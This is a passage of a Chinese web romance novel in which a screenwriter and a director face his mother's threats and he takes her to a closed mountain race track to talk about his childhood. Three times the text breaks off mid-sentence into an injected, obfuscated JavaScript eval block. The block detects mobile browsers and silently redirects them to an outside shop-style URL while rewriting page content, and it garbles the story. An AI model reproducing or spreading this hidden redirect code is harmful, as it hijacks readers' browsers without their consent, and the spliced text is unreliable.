他的手掌还贴在她的后颈上,把她搂得更紧了一些。他的唇瓣柔软冰凉,跟他这个人不一样。明明看起来冷淡又拽,亲起来却软得不像话。 宜夏肺里的氧气尽数消耗,许久唇分,她仰着脸,表情茫然迷离:“谈雪昼,你不生我的气吗?” “嗯?”他又一次凑近,一点鼻音,跟哼一样,叼住她的唇瓣,声音也被含住,含含糊糊的,“没生气,一直都没生气。” 他那时候生气的,不是她的目的不纯。 很单纯的,只是因为她不肯承认喜欢他。 - 宜夏很有兴致地为春节布置。 除夕那天,两个人一起好好做了顿年夜饭。从上午开始忙,一直忙到傍晚,宜夏做了好几道大菜。谈雪昼十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085267|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指不沾阳春水,就会煮个面条,不过也很耐心地帮她打下手。虽然说打着打着,就亲一块去了。 吃年夜饭之前,谈雪昼拿了单反过来,给一大桌子菜拍了张照。 架势夸张,宜夏在旁边捧着脸笑:“不知道的还以为是你做的。” “我女朋友做的,怎么我就不能炫耀了吗?” 谈雪昼不仅要炫耀,还要发朋友圈,然后发微博分享给粉丝们。 @谈雪昼:年夜饭[照片] 【谈导新年快乐!】 【好丰盛的年夜饭,给谈导看我家的[照片]】 被点赞到第一的是路昭野发的评论。 一个问号。跟着一碗速冻饺子的照片。 下面全是粉丝的怜惜,问耶总过年就吃这个吗?太敷衍了吧。耶总来我家,我给你做满汉全席。 宜夏翻着手机,看见这条评论,想起曾经在网上浪迹天涯,颇是看了几篇谈雪昼和路昭野的同人小说,什么天才大导演和他一手捧出来的天王巨星之类的,里面谈雪昼还挺攻气十足的。 她有点好奇:“你和路昭野关系挺好的?” “嗯哼。”谈雪昼也忙着管理自己的评论区,主要就是暗戳戳给所有夸赞这桌年夜饭的人点赞。 宜夏说:“其实我是路昭野的粉丝。认真的。” 谈雪昼慢悠悠抬头了,直截了当问:“喜欢他还是我?” 宜夏:“这怎么能一样?对他是编剧喜欢演员、粉丝喜欢明星的那种。对你是……” “是什么,说不出来了?” “是女人喜欢男人。”宜夏说这种话有点不好意思,迅速带过去转移话题,“你不会这种醋也要吃吧?” “不准喜欢其他人。只准喜欢我,最喜欢我。” 宜夏:“……” 被这个醋王沉默。 片刻后,她就见他在路昭野那条评论下面回复了一句: 【女朋友做的呢,我只负责吃[笑脸]】 路昭野也被这个人沉默,片刻后,回了他一个冷笑。 - 春晚是当晚社交媒体上最大的爆点话题。 只不过,微博五十个热搜,还是有几个留给了其他人。 譬如说,“路昭野评论谈雪昼”。 “谈雪昼女朋友做的呢”。 宜夏看到这词条上热搜的时候,整个人有点儿头晕。 热搜广场上全都在乐,还有就是讨论疑问谈导的女朋友是谁。网友们开始猜测,从没去春晚的女明星开始猜,猜来猜去,又有人提问应该是素人吧,或者豪门千金等等。紧接着就出现了知情人爆料。 出乎宜夏预料的是,热搜里的网友都很善意。 也许是因为,谈雪昼是导演,不是真正的明星。 他很多粉丝还挺关心他个人感情状况的,很希望他赶紧结婚生三胎,然后定下心好好搞事业,那种真正把他当偶像明星喜欢的年轻小粉丝很少。 还有一个原因,那就是谈雪昼自己就是资本。内娱粉粉黑黑,粉丝吵架撕逼,无非是为了自家哥哥姐姐撕一个资源、抢一个代言,刷一些流量出来,而谈雪昼是给别人资源的人。 宜夏这边忙着应对手机上不时跳出来的新年祝福。 回了不少条,才注意到旁边谈雪昼早就放下了手机,正直白看着她。 宜夏手一顿,问:“怎么了吗?” 谈雪昼措辞片刻,慢条斯理地提醒她:“做人应该要有计划。” “?” “脱敏的事,你的计划性呢?” 宜夏一下僵了:“……那个,我计划我们节后再,再开始。” “不能拖延。” “……我想,拖一会儿应该不影响什么吧。”宜夏被他一提醒,这下浑身不对劲了。 她那个备忘录里其实也没做好周密的计划,只胡乱写了一些临时想到的东西。 她沉默片刻,抬起头,目光烫烫的:“谈雪昼,……我想,从最起码的阶段开始。” “比如?” 宜夏隐晦地看着他,舔了舔唇瓣:“比如……你先让我看一看,认识一下。” “认识什么?”谈雪昼顺着她的话一下还没转过弯,想到之后才挑眉,“看什么?你要看什么?对我耍流氓?” “……那是你先耍的啊。”别说宜夏刚刚什么都没想,现在一调戏人,突然真有点好奇了,一边捂着脸,一边瞄他,“看一下怎么了,自己男朋友不给看吗?就看一眼,别做小气鬼。”顿了下,又故意说,“不给看是不是因为不够大啊?” “宜夏,我怎么觉得你这个脱敏,是脱我的敏?” “别那么小气,就让我看一眼。” 70. [锁] [此章节已锁] …… 宜夏发誓她再也不要当调戏人的小流氓了。 论调戏的功力,她是远远比不上某个人的。 总之这个除夕夜的晚上。 因为最后的神来之笔,给宜夏留下了深刻的印象。 - 翻开年来,谈雪昼的《牺牲者》后期就要忙起来了。 《牺牲者》是大制作,后期不像《清塘山岛日记》那么简单一两个月就能搞定,按照计划,至少要做半年多估计才能做好。他虽然不用时时刻刻盯,但很多重要的事情还是要把关。 宜夏也有事情要做,要赶紧把《清塘山岛日记》的后期彻底弄好,提交审核。审核排期挺慢的,至少也要一个月,审核修改意见出来之后还要再修改一轮或者几轮,才能拿到上映许可证。 不过,《清塘山岛日记》检查过后实在没什么问题了,挑了个吉日吉时,大家都看过片子之后,宜夏把电影提交给了电影局审核。 然后就闲下来了。 倒是谈雪昼开始在工作室、剪辑室、各大录音棚以及特效公司等等地方连轴转,经常开会到很晚。 说好的脱敏,从除夕那一夜好像有点儿苗头之后,又没进展了。 宜夏当然也不会主动去说什么。 她闲不下来,坐不住两天,看谈雪昼这么忙这么充实,她也忍不住开始琢磨新的项目。 拍电影比写剧本更有意思,拍自己写出来的剧本,而不是把自己的剧本交给其他人拍,更让她有成就感。 她把《想把你比作春日》的剧本找了出来,修修改改,打算立项,下一部就拍这个。 写剧本改剧本的日子过得很轻快,宜夏再接到蒋文府的电话时,时间已经到了三月份。 蒋文府打来电话来说他这段时间要回美国,问她想不想去好莱坞发展。 宜夏当然表示不要。 蒋文府却说,他有好莱坞八大制作公司的朋友,如果她愿意,去那边,他能替她铺好路。 但拍电影不是简单的资本问题,最起码还是有一些文化层面的东西,宜夏不觉得自己能在一个陌生的国家混好,还是拒绝了蒋文府的提议。 宜夏想了想,在电话的最后问他:“你不是回国打算结婚的吗?不结婚了吗?” 蒋文府一怔,声音有点疲倦,说:“再缓一缓,还没有决定好。” 亿万富豪结婚自然和普通人不一样,确实需要慎重。宜夏也不好奇他的结婚对象,没有再多问,就收了线。 他在这个电话的最后说:“小夏,你不管遇见什么问题,爸爸都会尽力支持你的。所以,你遇见了问题,一定一定要来找爸爸。” 他说得很郑重,宜夏虽然不明所以,但还是答应了。 她能从一个人身上感受到,这个人对她究竟是真心还是假意。 所以,也不舍得拒绝或者伤害真正关心她的人。 蒋文府回美国那天,宜夏没去送他。 毕竟他什么时候想回来就能回来,不是彻底回去就不再回国了。 那天下午,宜夏窝在家里写稿,心情却莫名有点儿低落,干脆抱着电脑出去,在嘉华汇附近的星巴克坐着,发了半下午的呆。 文档上只多了三百字。 删删改改,手指悬停在键盘上,迟迟不能按下。 面前的椅子空位被人拉开,一个三四十岁、长相精致明艳的女人在她对面坐下。 宜夏从屏幕前抬头,对方正好摘掉墨镜,把大墨镜朝桌上随手一丢,皱着眉上上下下打量她。 宜夏被她直白刺眼的打量目光搞得有点不舒服,把电脑合起来,打算换个位置。 那女人声音温柔,却很强势:“坐下。” 宜夏迟疑坐下看着她:“你好,我认识你吗?” 她头发微卷,眼睛是很深的绿色,五官轮廓像中国人,但上半张脸从眉骨到眼睛,很明显的混血迹象。岁月积淀下来的明艳动人,盛气凌人。 宜夏一低眼,她随手丢在地上的包是爱马仕喜马拉雅。 浑身的气势,不像普通人。 宜夏猜测了几个来回,对面的女人直接自我介绍:“我是谈雪昼的妈妈。” 宜夏手指立刻收紧,坐姿挺直,点头轻声问:“阿姨好。” 谈之尧声音很温柔:“别叫我阿姨,跟你倒没那么熟。” 来者不善,宜夏从她的语气中已经判断出来了,她对她没什么好感。 宜夏尽力维持着镇定:“阿姨,您找我有什么事吗?” “过年那几天,谈雪昼跟你待在一起?” 宜夏怔了一瞬,点头。 谈之尧说:“你是写剧本的,对你来说我今天要做的事你可能都觉得老套了,但我还是来通知你,跟谈雪昼分手。” 宜夏反而镇定了,轻声问:“为什么?” 谈之尧笑了下。 她从出生起就高高在上,从没人忤逆过她,除了第一段失败的婚姻。 对上宜夏,她根本没有放在眼里,只是很淡的轻蔑:“宜小姐,问到底,就没意思了。我们谈家不是那种需要联姻的家庭,假如你家世清白,我不会出现在这里。你明白我的意思吗?” 宜夏心陡然被攥了一把,可是脸上表情却没有变化,维持着镇定:“我想,我不是很理解您的意思。” “需要我说得再清楚一点吗?”谈之尧说,“说得再直白,就不体面了。” 宜夏嘴唇慢慢抿紧。 “我知道,年轻人谈恋爱,总是恨不得生死相许的。我也年轻过,对长辈的要求不屑一顾,要追求我的真爱。然后呢,你的妈妈,插足了我的真爱——” 宜夏咬住嘴唇,心脏仿佛被攥了一把,开始闷痛。 谈之尧看着她的神色,声音很轻,很温柔:“看来你知道你妈妈做过什么事。我已经不在乎了。我不在乎了,但这不代表,我允许她的女儿,跟我的儿子在一起,宜小姐,你明白吗?” 宜夏终于克制不住,声音有点抖:“阿姨,如果你查过我,你应该可以发现,我……” 我和我妈妈,没有关系,不是她把我养大的。 宜夏想这么辩解。 可是又觉得自己很丑陋狰狞——不是她养大的,但是她生下来的。亲生的,血脉相连,怎么可能剥离开血缘的关系? 她声音被咽回了喉咙里,眼眶一下憋得通红。 谈之尧见她这样的表情,仿佛又看见了几十年前,宜月心那张温柔顺从梨花带雨的脸,一股陈年的恶心上涌,她声音比平时更温柔了:“所以,宜小姐,如果要脸的话,如果你跟你妈妈不是同一种人的话,就不要勾引谈雪昼了。” “我……” “按照惯例,做了恶婆婆,逼你们分手,我该给你一些承诺。你想要什么?我听说你在拍电影,我可以送你一部电影,送你拿奖。” 宜夏声音被堵在喉咙里,强烈的耻辱感上涌,她近乎麻木。 “如果你不愿意,我也有一些我的办法。我听说,你拍完了一部电影,是不是?” 宜夏怔怔看着她。 “在国内拍电影不容易,内容审核卡个三五年,不知道什么时候才能拿到公映的证,这我也不能替你打包票。” 宜夏脸色终于变了:“阿姨,你不能这么做!” “第一部电影卡三年五年,第二部,又拉不来投资,不知道什么时候能拍下一部。宜小姐,不过,你亲生父亲是Richardo,不知道他有没有办法帮你对付我,对付谈家,对付全行业的封杀。” 宜夏不知道她会不会真的让她的电影被卡住,让她彻底被封杀。 谈家是有能力做到的,她当然知道。 她努力克制住空白一片的大脑,手掌紧紧蜷缩起来,指甲掐进了肉里,抬起头:“阿姨,您不觉得这样有点下作吗?” “是,下作。但你有没有想过,你妈妈做的事,是不是更下作?你知道吗,那时候我还怀着谈雪昼,她出现了,说是全光毅的研究生,多可怜,多纯洁。三年之后,谈雪昼才三岁,她又出现了。你妈妈对我做的事情,如果不是我大度,你以为,她能顺顺利利地,光鲜亮丽地活着?” 宜夏不知道原来妈妈竟然是这样的,比她想象得更过分。 她几乎无地自容,咬紧嘴唇,眼圈通红,却还想抵抗:“可是……” “宜小姐,我言尽于此,下一次再来找你,估计就没这么和平了。” 宜夏怔怔坐着。 谈之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093487|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尧站起来,又想到了什么,居高临下看着她,慢条斯理说:“还有一件事,或许你不知道,Richardo差点跟我结婚,为了你,他离开了我。因为他知道你和谈雪昼在一起,不愿意你们成为,兄妹。” 这下宜夏是彻底愣住了:“您是说……” “无所谓了。”谈之尧也厌倦了。 厌倦和蒋文府的争执,厌倦他对他女儿的歉疚和包容,厌倦他对她一次一次的规劝,劝她不要执念,不要干涉年轻人的事。 笑话。 谈家的事,轮得到他一个外人说话吗? 轻蔑看了神色空白的宜夏一眼,谈之尧大获全胜,拎起包,正打算离开。 刚转身,却跟匆忙赶来的谈雪昼对上了眼神。 谈雪昼一把扯过宜夏的手臂,把她拉到身边,紧紧握住她冰凉的手指。 谈之尧很明显的面色一变,刚刚的游刃有余瞬间破碎,直直瞪着谈雪昼。 而谈雪昼没看她,侧过头,温声问宜夏:“她跟你说什么了?” 宜夏惶恐地攥紧他的手,摇了摇头。指根交叉,变成十指交握,这是一个很有力量和信赖的姿势。 谈雪昼看出来母亲应该只在口舌上为难了她,这才转过头,看着谈之尧,冷淡说:“你不该来找她,妈,我以为我们已经说得很清楚了。” 谈之尧目光钉在两个人紧紧交握的手上,把包重重往桌上一搁,抱着手臂冷笑:“看来是我在棒打鸳鸯了?” “你没有必要来为难她,没必要在这里发泄你的情绪。” “我发泄?我为难?”谈之尧声音冷下去,“谈雪昼,是你不清醒。你生下来就是要跟我作对的。” 谈雪昼定定看着她,片刻,漠然问:“你既然前几十年没有过问过我的人生,现在又何必来干涉?” 最亲的人总是能三两句就戳到彼此的伤口。 谈之尧面对谈雪昼,一瞬间就气得胸口发痛,游刃有余从容威胁的风度荡然无存,咬着牙:“谈雪昼,你再说一遍!” 宜夏因为他和妈妈的对峙而不知所措。 只能看着他们两个针锋相对。 谈雪昼不想跟妈妈再说太多已经说过的话,低下头收拾桌上宜夏的笔记本电脑,合上塞给宜夏拿上,拉着她往外走。 宜夏木木的,根本什么都不知道,像个木偶般顺从,听见身后传来谈之尧气急败坏的声音:“谈雪昼!站住!你给我回来!” - 谈雪昼拉着宜夏回家,坐上电梯的时候,宜夏身体仍有些发抖,脑子也是空白的。 刚刚,谈雪昼的妈妈跟她说的那些话,固然让她感觉耻辱。 可是,这些话其实她在青春期已经听过太多次了,每个夜晚都要咀嚼下咽,以至于已经麻木。只是因为说这番话的对象是真正的受害者,才会造成比之前更强烈直白的惨烈痛感。 相对而言的,真正令她震动的,是谈雪昼的态度。 他为了她和妈妈争执。 和家里抗争。 她非常,非常不希望,自己跟谈雪昼在一起,会让他为难。 她其实潜意识不愿意去想这个问题,但很明白,不是她不想,问题就能消失的。她的身世,和他的差距,都是摆在明面上的话题。 她甚至算不得清白。 她被他紧紧牵着手,却不敢抬头,怕一抬起脸,就让他看见她眼里的泪水。她盯着轿厢地板上的花纹,眼前逐渐模糊成一片。 谈雪昼也没有开口。 进了门,他才拉着她,径直进了洗手间。 他沾湿了一条热毛巾给她擦脸,毛巾带着湿热的蒸汽捂住她的眼睛,宜夏终于能任由眼泪放肆滚出来了,她声音很闷:“谈雪昼,你先出去吧,我洗一下脸,没事。” 谈雪昼按住她的脑袋,轻轻掀开那条毛巾:“别哭。” 宜夏忍住眼泪,无声地看着他。 热气氤氲之中,她看见他英挺的眉眼,温柔而笃定地望着她,给了她很多力量。 她忍了又忍,没忍住,哽咽着问:“之前那次你和家里吵架,是因为我的事,对吧?” 声音发着抖。 谈雪昼温柔擦着她的脸颊:“跟你没有关系,别哭。” 71. 想把你比作春日 宜夏知道,就是因为她。 都是因为她。 他跟家里吵架,被扇了耳光,肩膀被什么东西砸中,青了一大片,好几天都没好。 都是因为她。 泪水止不住地簌簌下落,她抬手擦,手背手心胡乱擦却怎么也擦不干净。她不想在他面前表现得太脆弱,不想掉眼泪,背过身去躲开。 他却过来掰她的肩膀,声音放得很柔和,怕惊吓了她:“别哭了。宜夏。真的。” 宜夏怎么可能不哭。 他很耐心地一直替她擦眼泪。 宜夏大脑的一片混乱一点一点平复,她抬起头,对上他的眼睛,要说的话却说不出口,一直憋在胸口,闷得难受。 谈雪昼见她情绪实在是不太好,温柔地揉乱她的头发:“你要不要先洗个澡,换身衣服?待会儿,有什么想说的话,再跟我说。” 宜夏摇头。 沉默很久,她努力把堵在喉咙的话吐出来,声音发抖:“……对不起。是我的错,对不起,谈雪昼,是我太自私了。” “我不想听这种话。” “如果不是和我在一起的话,你本来不会跟家里吵架,也不会被打的。是我的错。” 宜夏仿佛回到了孤独的少女时期,那时无数人告诉她,她有罪,她有错,可是她总是在内心倔强为自己辩解、否认。 现在。 她毫不抵抗地承认了。 她是有错。 全世界,她最不希望伤害的人是他,可是他就是会因为她的存在受到伤害。 之前是她那样接近,利用他。 现在也是因为她这个人,他和他的家人争执吵架甚至动手。 除了对不起,她不知道还能说什么。 一切言论都是苍白的,她缓缓收紧了手指,深呼吸,要出声,一开口声音却在哽咽。 “想说什么?” 宜夏沉默许久,嘴唇动了动,终于成功说出来了:“要不要,我们先分开一段时间?” 谈雪昼好像没听见一样,用手指当梳子梳散她披在背后柔软浓密的长发,随后又抽了两张纸擦她的脸。 宜夏就好像木偶一样站着,任由他动作。 擦完后,他牵着她的手,把她送进次卧,摸摸她脑袋:“你先睡一会儿,睡醒了,清醒点再和我说话。” 说完,他就想要合上房门。 宜夏却扯住他的衣角,抬起脸哀哀看着她。 谈雪昼忍耐着,脸上表情变了变,说:“我不会同意的。” 宜夏刚刚已经止住的眼泪又下来了。 她用手背,用衣袖去擦。谈雪昼这次却只是默然看着,没有上手。 宜夏努力说:“我不是分手的意思……我是想,你其实应该再,考虑一下。” 谈雪昼深呼吸,没忍住:“那你到底把自己当成什么了?为什么要一直把自己放在那么低的位置上,把选择权都交到我手上?” 宜夏怔怔看着他。 “过去的事情已经过去,我已经说过不介意的事情,就是真的不介意。现在和你在一起,我不介意你曾经做过什么,也不介意你的父母或者身世,那都跟你无关,我喜欢的是你本人。所以,你要我考虑什么?” 宜夏喃喃说:“考虑……” “考虑什么?考虑分手?” 宜夏连连摇头。 她不想分手,甚至不愿意去想这种可能。 但是她也不想他因为她受到伤害。 宜夏努力维持正常,勉强说:“我是觉得,你因为我受伤了……被打了。我不想这样,是我太自私了,是我的原因,所以我……” 谈雪昼突然拽住她的手腕,大步往外走。 宜夏有点跌撞,嗫嚅着,小声问:“去哪儿?” 他没说话,一边拽着她,一边跟人打电话,很简短地说了两句。那边声音猛然拉高:“行!靠,你怎么会想来!给你清场!” 宜夏被他扯着手腕推进车里。 是上次那辆银色柯尼塞格。 他一言不发地启动,一脚油门,超跑轰鸣的声浪犹如猛兽。 驶出车库驶入大道,他也没有减速,几乎是压着最高限速疾驰,驶上了高架。 出了市区之后,他又猛然加速,强烈的推背感传来,车窗外的风景几乎被拉成一条线,风声也格外凛冽迅猛。 宜夏心里升腾起强烈的不安,试图安抚他:“谈雪昼,你冷静一下,你慢一点,好不好?” 他一句话也不答,甚至不往她这边看。 车一路疾驰,周围景色越来越陌生,道路两侧全是被拉长的树影。 车飞驰驶入又驶出一条隧道,车道不仅没有变宽阔,反而收窄不少。路旁一行英文标牌被钢架高高擎起,宜夏没看清上面写了什么,车就已经飞速驶过了那段道路。 几分钟后,闯过一道关卡,车才终于急刹停下。 宜夏这才能定神,观察四周。 这是江流北环的虞山山地赛车场。 宜夏知道这个地方。之前写剧本有赛车的戏份,来这里采过风,也因此知道了这里山地赛道全封闭,不对外开放,是全国目前唯一一条正规允许营业的山地赛道。 上次来的时候,正值某个超跑俱乐部聚会,不少车上赛道跑山。 但这次,赛道的起点线外却一辆车都没有。 整条赛道全部被清空。 谈雪昼已经下了车,甚至没转头看旁边宜夏一眼。 宜夏费力去解安全带的功夫,他重新上了车,主驾门关上,他给她丢来一个头盔。 宜夏懵了一秒:“这是……” “戴上。” 宜夏发现,他心情不好的时候,说话会非常的言简意赅。 宜夏不敢多问,默默扣上了头盔。 刚戴好,下一秒,他一脚油门,百公里加速2.8秒的超级跑车如同离弦的箭猛然射出。 宜夏猝不及防,被强烈的推背感甩到座椅上紧紧贴住,朝前一看,整个人顿时惊恐得说不出话—— 速度实在是太快了! 发动机的轰鸣声浪仿佛野兽的咆哮,车速不停向上攀升,前方的树林兜头扑来,又迅速被甩在身后。宜夏两眼瞪圆,浑身顿时汗涔涔,头皮发麻甚至大脑一片空白,只有肾上腺素随着车速不断飙升! 山地赛道全然不同于正常赛场,弯道一道接着一道,一个弯道还没有过完就迎来了下一个急速的弯道,同时,赛道狭窄得只容一辆车通过,甚至不允许超车。就是这样的急转、漂移、连续快速转弯,而谈雪昼竟然还在加速,还在不停地加速! 人在最惊恐的时候是做不出反应的,会四肢僵硬,不能动弹。车窗外风声猛烈,宜夏在心里大声呼救,试图大喊,试图流泪,张着嘴根本发不出任何声音。 就在肾上腺素极速狂飙时,宜夏刚刚的那些烦恼、难过、患得患失,都仿佛被什么东西猛然一把撕裂,随后消失得无影无踪,只剩心脏在胸腔里狂跳不止! 终于。 车穿过无数弯道,冲破了山顶的终点线。轮胎抓地的声音令人牙酸,冲出终点之后,还朝前飚了一段路,才一个漂移猛然停下。 宜夏又被惯性甩得向前,差点扑到了前玻璃。 她的心脏依然在狂跳不止,呼吸也没能第一时间调整正常,隔着头盔的护目镜惊恐地看向谈雪昼。 而谈雪昼却没有表情,镇定得要死,甚至隐隐约约有些倦怠懒散。 他坐了两秒,解开安全带,又倾身过来替她解开安全带,摘掉头盔。揉了揉她的头发,淡淡问:“吓到了吗?” “……吓死了。” “不会死。” 他下车,绕到另一侧拉开了她的车门,把她也拉下了车。 山顶风景比山脚开阔得多。天边一轮橘色的落日,即将下山。天际被落日的余晖烘出浅浅的粉色、紫色、蓝色,天边某一角是一朵轻盈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104745|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄云,染着深浅的金黄色。往下望,山谷很深,夕阳在林间跳跃。 谈雪昼靠着车门,仰起脸淡淡看着天边那轮橘日,忽然说:“不会死的。因为我试过。” 宜夏心猛地一跳,看向他。 他表情很是倦怠,不知道从哪里掏出来了一个打火机,有一下没一下地按着。 那一点火苗消失又出现,出现又消失。 过了一会儿,他才说:“我高中的时候,我小舅舅去世了。然后,我就成了家里唯一的继承人。没有人问过我愿不愿意,因为所有人都觉得,这么大的家业,说不要的人,一定是全世界最愚蠢最矫情的那个。” “没有人问过我想要做什么,有没有理想,有没有追求。” “然后我有一段时间特别颓废。”谈雪昼转过头,隔着打火机星点的猩红火光看她,静静说,“我小时候不理解,我小舅舅为什么喜欢赛车。我很多车是继承的他的。他说,心里藏着很多事,很烦闷,但不会有人理解,只有飙车的时候会短暂地什么都忘了。” “我后来理解了。我也学他年轻的时候开始飙车。赛场一圈一圈地转,很没意思,再然后,我找到了这条赛道。很多次开上山顶,又冲下来,过程中我不断地想,如果我和小舅舅一样死掉,会怎么样。我想象过无数次,好像这个世界不会有任何变化,不会有人难过……可能,爷爷会短暂地伤心吧。除了他,不会有任何人难过。” “很长一段时间,我觉得很多东西都没意思透了,你知道吗?在所有人眼里,我拥有的都太多了,太珍贵了,所有东西都可以签支票买来,甚至包括一个人的灵魂。但是我真正想要的,我却怎么都没有办法得到,比如,……”他沉默了下,“我亲生母亲的爱。” “她是很残酷的一个人。她什么都有,什么都不缺,我对她来说只是一段失败婚姻的见证,她不喜欢我,很正常。但是我至少……是她亲自生出来的,也不是代孕。我不知道,她为什么甚至都没有可怜过我。” 宜夏不知道该说什么。 只能含泪看着他。 谈雪昼问她:“你是不是觉得,是因为你的存在,她才会打我?才会伤害我?” “你只是一个借口,一个出口,一个发泄,她要伤害的,自始至终都是我。” 不知道什么时候,宜夏的眼泪顺着脸颊滚了下来。她抬着手背胡乱地擦,从模糊的泪水后看着他。 谈雪昼手掌按在她头顶:“因为害怕伤害到我,就想跟我分开?” 宜夏怔怔地与他对视。 “你能不能可怜一下我?”他看着她,呼吸沉重,“麻烦你,不要因为怕我被其他人伤害、变得更可怜,就不敢要我了。” 宜夏突然伸手,抱住他的腰,把脸埋在他胸口。 眼泪浸湿了他胸口的布料,他抬手拥住她的肩膀,手掌放在了她的后颈上。宜夏条件反射似地抬起脸,寻找他的唇瓣。 又是一个带着泪水味道的亲吻。 宜夏胸口的心跳因为唇齿间存在的实感而缓缓平静。 他紧紧拥住她,手臂收紧。宜夏踮起脚来,努力环住他的脖颈,尽力送上自己的回应。 结束一个藕断丝连的亲吻后,两个人分开,宜夏捧着他的脸颊,微微把他的脑袋拉低。 两个人对视。 宜夏很久才鼓起勇气,抖着声音:“谈雪昼,对不起。” “嗯。” “那请你……也可怜我吧。” 他看进她茶色的瞳孔里。 她努力挤出笑,发现做不到,是一个又像哭,又像在笑的表情:“你也可怜我一下,原谅我这么自私,哪怕知道你会受伤害,也不想和你分手。请你也可怜我,然后,一直可怜我。” 最亲密的事。 不是唇齿交缠交付亲吻,而是在彼此面前,袒露心灵深处最脆弱的那一部分。 我们都被生活打碎过,然后,兜兜转转,相遇之后,拼成完整的自己。 72. 想把你比作春日 两个人在山顶看了一会儿星星。 谈雪昼给她讲了更多他小时候的事情。 很小的时候,他就被谈之尧丢给了谈默生。 然而执掌千亿帝国的掌权者,对待女儿的儿子,怎么可能亲力亲为? 谈默生那时候在欧美开疆拓土,他被带在谈默生的身边,有很多人照顾,最多的时候,整座庄园足足三百多人,只照顾他一个。 但是,经常半年不能见到任何一个亲人的面。 因为越长越大,越长越精致,谈之尧终于愿意看他,带他去LA照顾他。在那里,也有无数佣人环绕,黑皮肤的,白皮肤的,棕皮肤的,谈之尧只在想起他的时候看他一眼,心血来潮的日子不多。 再然后发生了那次绑架案。 那时候他七岁。 因为绑架案,他的精神受到了严重的刺激,封闭自我,出现了衰退和木僵的症状。小舅舅正在逐步接手国内的业务,把他带回了国内,就在江流。家里给江流最大的医院捐了一栋精神科方面的研究中心,就为了治疗他的心理疾病。 过了快两年,他才逐步地好起来。他有点依赖小舅舅,还有其他的一些原因,就留在国内上学,上完小学初中。他没有被当成继承人考虑,小舅舅也告诉他,他可以去做自己想做的事,他会保护他。 初三毕业的时候,舅舅却生病去世了。是特别罕见、发作也很快速的绝症,就连谈家的权势也没有能力挽救。 这个世界上钱能买到很多,但最最珍贵的那些,怎么也买不到。 没有保护他的人了,他要自己面对世界。世界把最烫手的东西不由分说地塞到了他手里,由此,他见到了太多丑陋的嘴脸。 他那一段时间真的过得很颓废。 飙车,打架,泡吧,满世界飞,极限运动作死。 无限可能的世界向他关闭了,他只剩了被决定好的一条路,左冲右突,找不到突破的可能性。 后来有一天。 高三的某一天,他遇见了一个人。 或者说是重逢。 他突然发现了自己要做什么,发现了自己真正想要的是什么。 他决绝地追求自己想要的东西。 随后,就陷入了十多年旷日持久的抗争中。 不过他从来没有后悔过,也不会后退。 宜夏转头怔怔看他。 所以,那个人,是他的白月光吗?是他哪怕去了大学,还会不停飞回来看的那个女孩吗? 原来她对他那么重要。 宜夏不知道该不该酸涩。 但她很感谢那个女孩的存在,至少,温暖过那时的他。 其实我们每个人,跟世界的联系都很薄弱。 我们什么都不会真正拥有,除了人和人之间的感情,除了爱和记忆。 是感情把我们从茫茫人海中联系起来,我们才能真正地长出血肉,成为活在世界上真正的人。 - 下山的速度比上山慢得多。 慢慢吞吞地往山下开,边开边乱七八糟地继续聊,童年,少年,成长。 宜夏的童年与他截然不同,却又分明有相似的重叠之处。 他在英国、瑞士和洛杉矶的庄园里辗转,她也跟着外婆,在不同豪宅的保姆间里流浪。他拥有的太多,得不到的却始终得不到,她没拥有过什么,却拥有外婆自始至终相依为命的爱。 每个人都有属于自己的,缺失的那一角。 最终,会遇见某个人,得以填补。 离开了赛车场,开上郊区的公路,回程路上,宜夏终于有心情看窗外的景色了。 落日已经下山,一抹淡月升起。宜夏把车窗打开,初春的夜风清新拂面,宜夏宁愿什么都不去想,只是吹风。 她还是很好奇,抓着安全带,侧头问他:“你能不能再多给我讲一讲,你高中的事情?” 原来他也会颓废,堕落,浪迹人间。她很想知道,他那时是什么样子。 就算颓废也明亮,就算堕落也滚烫。 与她全然不同。 “想知道什么?” “譬如,你那个时候,是什么样子的?” 宜夏突然很想知道,如果高中的时候,遇见了他,她会怎么样。 她会过得好一些吗? 遇见了那时候的他,她晦暗的青春期,也会被他发的光照亮吧。 - 回了嘉华汇之后,谈雪昼看见手机上出现了两个未接电话,都来自谈之尧。 但他们的谈话早就崩了,他不知道她为什么执着一定要让他屈服。 他没有打回去,就当做没有看见。 宜夏当晚短暂地想了一下谈之尧的威胁,最终决定不跟谈雪昼提这些,水来土掩。 隔天,她掐着时差,给蒋文府主动打了个电话。 蒋文府很惊喜,问她是不是遇见了什么问题,宜夏却直接问了他结婚的事。 